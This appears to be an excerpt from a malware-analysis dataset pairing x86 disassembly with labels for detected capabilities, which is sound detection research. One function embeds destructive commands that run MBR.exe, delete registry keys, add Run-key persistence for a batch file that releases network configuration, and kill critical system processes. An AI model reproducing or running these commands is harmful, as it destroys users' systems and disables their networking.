joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004850
Capabilities:
Send data
Send data on socket

Disassembly:
push 0x40
push 0x10013f0
call fcn.0100704c
mov eax, dword [0x10119e4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x44], eax
xor edx, edx
mov dword [ebp - 0x38], edx
cmp eax, edx
je 0x10049e1
cmp dword [0x10119c0], 0xffffffff
je 0x10049e1
cmp dword [0x101a2dc], edx
je 0x10049e1
mov eax, dword [0x10119c4]
cmp eax, 8
jb 0x10049e1
cmp dword [0x101a2e0], edx
je 0x10049e1
mov ecx, 0x400
cmp eax, ecx
mov dword [ebp - 0x34], eax
jb 0x10048b9
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x34]
add eax, 3
and eax, 0xfffffffc
call fcn.010070b0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [ebp - 0x50], esi
jmp 0x10048f3
or dword [ebp - 4], 0xffffffff
test esi, esi
je 0x10049e1
mov ebx, dword [ebp - 0x34]
push ebx
push esi
call fcn.01002d2a
mov word [ebp - 0x2c], 2
mov ax, word [0x101a2dc]
mov word [ebp - 0x2a], ax
mov eax, dword [0x101a2e0]
mov dword [ebp - 0x28], eax
mov byte [esi], 6
lea eax, [ebx - 4]
mov word [esi + 2], ax
mov word [esi + 6], 0x400
mov dword [ebp - 0x40], 0xa
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov word [esi + 4], ax
push 0x10
lea eax, [ebp - 0x2c]
push eax
push 0
push ebx
mov ebx, dword [sym.imp.WSOCK32.dll_sendto]
jmp 0x1004a27
and dword [ebp - 0x30], 0
and dword [ebp - 0x3c], 0
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x44]
call fcn.0100459a
cmp dword [ebp - 0x30], 0
jne 0x10049b0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
mov eax, dword [0x101a274]
mov dword [ebp - 0x48], eax
push 0x3e8
push 0
lea eax, [ebp - 0x4c]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, 1
je 0x10049e1
cmp eax, 0x102
je 0x1004a11
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.01004656
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x1004958
cmp dword [ebp - 0x3c], 8
jne 0x1004958
cmp byte [eax], 6
jne 0x1004958
cmp word [eax + 2], 4
ja 0x1004958
cmp dword [ebp - 0x40], 0
je 0x10049e1
call edi
movzx eax, ax
mov ecx, dword [ebp - 0x30]
movzx ecx, word [ecx + 4]
sub eax, ecx
inc eax
mov dword [ebp - 0x38], eax
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x10049fe
mov eax, dword [ebp - 0x30]
movzx eax, word [eax + 6]
add eax, 8
imul eax, eax, 0x3e8
xor edx, edx
div dword [ebp - 0x38]
inc eax
lea esp, [ebp - 0x5c]
mov ecx, dword [ebp - 0x1c]
call fcn.01006d28
call fcn.01007087
ret 4
dec dword [ebp - 0x40]
je 0x10049c9
call edi
mov word [esi + 4], ax
push 0x10
lea eax, [ebp - 0x2c]
push eax
push 0
push dword [ebp - 0x34]
push esi
push dword [0x10119c0]
call ebx
cmp eax, 0xffffffff
jne 0x1004958
call dword [sym.imp.WSOCK32.dll_WSAGetLastError]
jmp 0x10049e1
Function at 0x1005a58
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
xor esi, esi
inc ebx
cmp dword [0x101a2cc], esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 4], esi
mov dword [0x10119ac], ebx
jne 0x1005a95
push esi
push esi
push esi
push esi
call edi
cmp eax, esi
mov dword [0x101a2cc], eax
jne 0x1005a95
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1005acb
cmp dword [0x101a2d0], esi
jne 0x1005aac
push esi
push esi
push esi
push esi
call edi
cmp eax, esi
mov dword [0x101a2d0], eax
je 0x1005a8d
lea eax, [ebp - 8]
push eax
push esi
push esi
push 0x100522e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
mov dword [0x101a2ec], eax
je 0x1005a8d
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1006532
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x674
mov eax, dword [0x10119e4]
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], eax
mov esi, ecx
mov dword [ebp - 0x650], edi
mov dword [ebp - 0x658], 1
mov dword [ebp - 0x654], edi
xor ebx, ebx
cmp dword [ebp - 0x650], edi
jne 0x1006574
cmp dword [ebp - 0x658], edi
je 0x10065ce
mov eax, dword [esi + 0x5ac]
cmp eax, edi
mov dword [ebp - 0x658], edi
je 0x10065bb
lea ecx, [esi + 0x584]
push ecx
lea ecx, [ebp - 0x654]
push ecx
push 0x648
lea ecx, [ebp - 0x64c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, edi
mov dword [ebp - 0x650], eax
jne 0x1006687
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10065be
xor ebx, ebx
inc ebx
cmp dword [ebp - 0x650], edi
je 0x10065ce
cmp ebx, edi
je 0x100667b
push 0x4ff
push 0xffffffffffffffff
push edi
lea eax, [esi + 0x578]
push eax
push 3
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
cmp eax, edi
je 0x1006674
xor ebx, ebx
inc ebx
cmp eax, ebx
je 0x1006665
cmp eax, 2
je 0x1006642
cmp eax, 3
jne 0x100667b
push ebx
mov ebx, dword [sym.imp.USER32.dll_PeekMessageW]
jmp 0x1006630
cmp dword [ebp - 0x670], 0x12
je 0x10066c5
lea eax, [ebp - 0x674]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x674]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 1
push edi
push edi
lea eax, [ebp - 0x674]
push edi
push eax
call ebx
test eax, eax
jne 0x1006607
jmp 0x100667b
push edi
lea eax, [ebp - 0x654]
push eax
lea eax, [esi + 0x584]
push eax
push dword [esi + 0x5ac]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov dword [ebp - 0x650], eax
jmp 0x100667b
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x2c]
mov dword [ebp - 0x658], ebx
jmp 0x100667b
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x30]
cmp dword [ebp - 0x650], edi
je 0x1006562
push dword [ebp - 0x654]
lea eax, [ebp - 0x64c]
push eax
mov ecx, esi
call fcn.010061e2
cmp eax, edi
jge 0x1006562
cmp eax, 0x834503e9
jne 0x1006562
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x10]
push 8
push 6
mov ecx, esi
call fcn.0100ac92
jmp 0x1006562
mov ecx, dword [ebp - 4]
push 3
pop eax
pop edi
pop esi
pop ebx
call fcn.01006d28
leave
ret
Function at 0x1006d28
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10119e4]
jne 0x1006d39
test ecx, 0xffff0000
jne 0x1006d39
ret
jmp fcn.01006d43

Function at 0x1006e28
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x1001480
call fcn.0100704c
xor ebx, ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
or edi, 0xffffffff
mov dword [ebp - 4], edi
cmp word [0x1000000], 0x5a4d
jne 0x1006e7c
mov eax, dword [0x100003c]
cmp dword [eax + 0x1000000], 0x4550
jne 0x1006e7c
movzx ecx, word [eax + 0x1000018]
cmp ecx, 0x10b
je 0x1006e94
cmp ecx, 0x20b
je 0x1006e81
mov dword [ebp - 0x1c], ebx
jmp 0x1006eab
cmp dword [eax + 0x1000084], 0xe
jbe 0x1006e7c
xor ecx, ecx
cmp dword [eax + 0x10000f8], ebx
jmp 0x1006ea5
cmp dword [eax + 0x1000074], 0xe
jbe 0x1006e7c
xor ecx, ecx
cmp dword [eax + 0x10000e8], ebx
setne cl
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 1
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
mov dword [0x10247f4], edi
mov dword [0x10247f8], edi
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1022620]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x102261c]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x10247fc], eax
call fcn.0100713a
cmp dword [0x10119f0], ebx
jne 0x1006f08
push fcn.0100713a
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01007123
push 0x1001334
push 0x1001330
call sub.msvcrt.dll__initterm
mov eax, dword [0x1022618]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x1022614]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x38], eax
push 0x100132c
push 0x1001324
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
cmp byte [eax], 0x22
jne 0x1006f93
inc eax
mov dword [ebp - 0x20], eax
mov cl, byte [eax]
cmp cl, bl
je 0x1006f73
cmp cl, 0x22
jne 0x1006f64
cmp byte [eax], 0x22
jne 0x1006f7c
inc eax
mov dword [ebp - 0x20], eax
mov cl, byte [eax]
cmp cl, bl
je 0x1006f87
cmp cl, 0x20
jbe 0x1006f78
test byte [ebp - 0x54], 1
je 0x1006f9e
movzx ecx, word [ebp - 0x50]
jmp 0x1006fa1
cmp byte [eax], 0x20
jbe 0x1006f7c
inc eax
mov dword [ebp - 0x20], eax
jmp 0x1006f93
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x1000000
call fcn.010020d8
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x1006fbf
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], edi
jmp 0x1006ffb
mov eax, esi
jmp 0x100700f
call fcn.01007087
ret
Function at 0x1007520
Capabilities:
Encode data using xor

Disassembly:
push ebx
xor edx, edx
xor ecx, ecx
push esi
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0xc]
push edi
mov edi, eax
mov ebx, dword [esp + 0x14]
push ebp
mov cl, byte [esi + 0x100]
mov ebp, ebx
mov dl, byte [esi + 0x101]
test ebx, ebx
je 0x100765b
shr ebx, 2
and eax, 3
test ebx, ebx
je 0x1007630
test eax, eax
jne 0x1007630
mov eax, edi
lea edi, [edi + ebx*4]
mov dword [esp + 0x1c], edi
sub eax, 4
mov ebp, ebx
mov edi, dword [eax + 4]
inc ecx
xor eax, eax
and ecx, 0xff
mov al, byte [esi + ecx]
add edx, eax
and edx, 0xff
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
inc ecx
mov byte [esi + edx], al
add al, bl
mov al, byte [esi + eax]
xor edi, eax
and ecx, 0xff
xor eax, eax
mov al, byte [esi + ecx]
add edx, eax
and edx, 0xff
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
inc ecx
mov byte [esi + edx], al
add al, bl
mov al, byte [esi + eax]
shl eax, 8
xor edi, eax
and ecx, 0xff
xor eax, eax
mov al, byte [esi + ecx]
add edx, eax
and edx, 0xff
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
inc ecx
mov byte [esi + edx], al
add al, bl
mov al, byte [esi + eax]
shl eax, 0x10
xor edi, eax
and ecx, 0xff
xor eax, eax
mov al, byte [esi + ecx]
add edx, eax
and edx, 0xff
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov byte [esi + edx], al
add al, bl
mov al, byte [esi + eax]
shl eax, 0x18
lea ebx, [ebp*4]
xor edi, eax
mov eax, dword [esp + 0x1c]
sub eax, ebx
mov dword [eax], edi
dec ebp
jne 0x1007570
mov ebp, dword [esp + 0x18]
and ebp, 3
test ebp, ebp
je 0x100765b
lea edi, [eax + 4]
inc ecx
mov ebx, 0xff
and ecx, ebx
xor eax, eax
mov al, byte [esi + ecx]
add edx, eax
and edx, ebx
xor ebx, ebx
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov byte [esi + edx], al
add al, bl
mov bl, byte [edi]
mov al, byte [esi + eax]
xor bl, al
mov byte [edi], bl
inc edi
dec ebp
jne 0x1007630
pop ebp
pop edi
lea eax, [esi + 0x100]
pop esi
mov byte [eax], cl
pop ebx
mov byte [eax + 1], dl
ret 0xc
Function at 0x10096dd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x98
cmp dword [0x10227d0], 0
mov eax, dword [0x10119e4]
mov dword [ebp - 4], eax
jne 0x10097cb
push edi
push 0x25
pop ecx
xor eax, eax
lea edi, [ebp - 0x98]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10097c0
xor eax, eax
cmp dword [ebp - 0x88], 2
push esi
sete al
test eax, eax
mov dword [0x1011a00], eax
je 0x100978e
push 0x1001504
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
test edi, edi
je 0x10097bf
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10014e8
push edi
call esi
test eax, eax
mov dword [0x10227bc], eax
je 0x1009772
mov dword [0x10119fc], 0x4000
push 0x10014dc
push edi
call esi
push 0x10014c4
push edi
mov dword [0x10227c0], eax
call esi
mov dword [0x10227c4], eax
jmp 0x10097bf
push 0x10014b8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10097bf
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10014a8
push edi
call esi
push 0x1001498
push edi
mov dword [0x10227b4], eax
call esi
mov dword [0x10227b8], eax
pop esi
mov dword [0x10227d0], 1
pop edi
mov ecx, dword [ebp - 4]
mov eax, dword [0x1011a00]
call fcn.01006d28
leave
ret
Function at 0x100a23b
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 2
call fcn.0100a1ba
test eax, eax
je 0x100a27c
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push 3
push 0
push 0x100155c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
leave
ret 8

Function at 0x100b0c8
Capabilities:
Copy file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov edx, ecx
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
add edx, 0x458
push eax
mov esi, 0x80004005
mov dword [ebp - 0x1c], 2
mov word [ebp - 0x10], 0x350
mov dword [ebp - 6], edx
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
jne 0x100b117
xor esi, esi
pop edi
mov eax, esi
pop esi
leave
ret 8

Function at 0x100b124
Capabilities:
Create directory
Delete file
Get common file path

Disassembly:
cmp dword [ecx + 0x14], 0
jne 0x100b12e
xor eax, eax
inc eax
ret
push esi
lea esi, [ecx + 0x250]
push esi
push 0
push 0x1001c90
add ecx, 0x48
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x100b169
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
jg 0x100b15b
call esi
pop esi
ret
call esi
and eax, 0xffff
or eax, 0x80070000
pop esi
ret
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x100b14b
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x100b14b
xor eax, eax
pop esi
ret

Function at 0x100e380
Capabilities:
Hash data with md5

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
pop ebp
ret 4
Function at 0x476f10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6a000]
push edi
jmp 0x476f2a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x476f31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x476f20
mov eax, 1
add ebx, ebx
jne 0x476f43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x476f54
jne 0x476f73
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x476f73
dec eax
add ebx, ebx
jne 0x476f60
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x476f38
add ebx, ebx
jne 0x476f6f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x476fc5
xor ecx, ecx
sub eax, 3
jb 0x476f8b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x476ffa
sar eax, 1
mov ebp, eax
jmp 0x476f96
add ebx, ebx
jne 0x476f96
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x476f64
inc ecx
add ebx, ebx
jne 0x476fa4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x476f64
add ebx, ebx
jne 0x476fb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x476fa6
jne 0x476fc2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x476fa6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x476fe4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x476fd6
jmp 0x476f26
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x476fe4
add edi, ecx
jmp 0x476f26
pop esi
mov edi, esi
mov ecx, 0x91a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x477002
cmp byte [edi], 9
jne 0x477002
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x477007
lea edi, [esi + 0x74000]
mov eax, dword [edi]
or eax, eax
je 0x47707f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xcfc34]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xcfcfc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x477034
mov ecx, edi
jns 0x477063
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xcfd00]
or eax, eax
je 0x477079
mov dword [ebx], eax
add ebx, 4
jmp 0x477051
call dword [esi + 0xcfd10]
mov ebp, dword [esi + 0xcfd04]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4770b3
sub esp, 0xffffff80
jmp 0x41382f
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x4fe054], 1
mov dword [0x4fe050], 1
mov dword [0x4fe04c], 1
mov dword [0x4fe044], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x4fe00c], eax
mov eax, dword [0x4fe060]
test eax, eax
jne 0x4010b0
mov dword [esp], 1
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x4fe074]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x4fe05c]
mov dword [eax], edx
call sym.__setargv
cmp dword [0x4b2050], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 2
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401102
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], sym.__matherr
call sym.___mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060

Function at 0x4015a0
Capabilities:
Capture network configuration via ipconfig
Execute command
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x10
call sym.___main
mov dword [esp], str.MBR.exe
call sym._system
mov dword [esp], str._echo_off_Start_reg_delete_HKCR_.exe_Start_reg_delete_HKCR_.dll_Start_reg_delete_HKCR_
call sym._system
mov dword [esp], str.echo__echo_off_c:windowswimn32.bat_echo_break_off__c:windowswimn32.bat_echo_ipconfig_release_all__c:windowswimn32.bat_echo_end__c:windowswimn32.bat_reg_add_HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun__v_WINDOWsAPI__t_reg_sz__d_c:windowswimn32.bat__f_reg_add_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVisionRun__v_CONTROLexit__t_reg_sz__d_c:_Windows_wimn32.bat__f_Pause
call sym._system
mov dword [esp], str.wmic_process_where_name_smss.exe__delete
call sym._system
mov dword [esp], str.wmic_process_where_name_svchost.exe__delete
call sym._system
mov dword [esp], str.wmic_process_where_name_LsaIso.exe__delete
call sym._system
mov dword [esp], str.taskkill__f__fi__pid_ne_1_
call sym._system
mov eax, 0
leave
ret

Function at 0x40a880
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call sym.___acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call sym.___acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x40a8e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x4fe068]
test esi, esi
jle 0x40aa00
mov edi, dword [0x4fe06c]
xor ebx, ebx
lea edx, [edi + 0xc]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x40a914
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x40a999
add ebx, 1
add edx, 0x14
cmp ebx, esi
jne 0x40a900
mov dword [esp], eax
mov ebx, eax
call sym.___mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x40aa27
mov eax, dword [0x4fe06c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call sym.__GetPEImageBase
mov edx, dword [0x4fe06c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40aa07
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x40a992
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x40a9a0
add dword [0x4fe068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x4fe06c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40a992
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call sym.___report_error
lea esi, [esi]
lea edi, [edi]
xor esi, esi
jmp 0x40a91e
mov eax, dword [0x4fe06c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call sym.___report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call sym.___report_error
mov esi, esi
lea edi, [edi]

Function at 0x40aeb0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4fe084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4fe07c]
sub esp, 4
test ebx, ebx
je 0x40af05
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40aefe
test esi, esi
je 0x40aefe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40aee0
mov dword [esp], 0x4fe084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret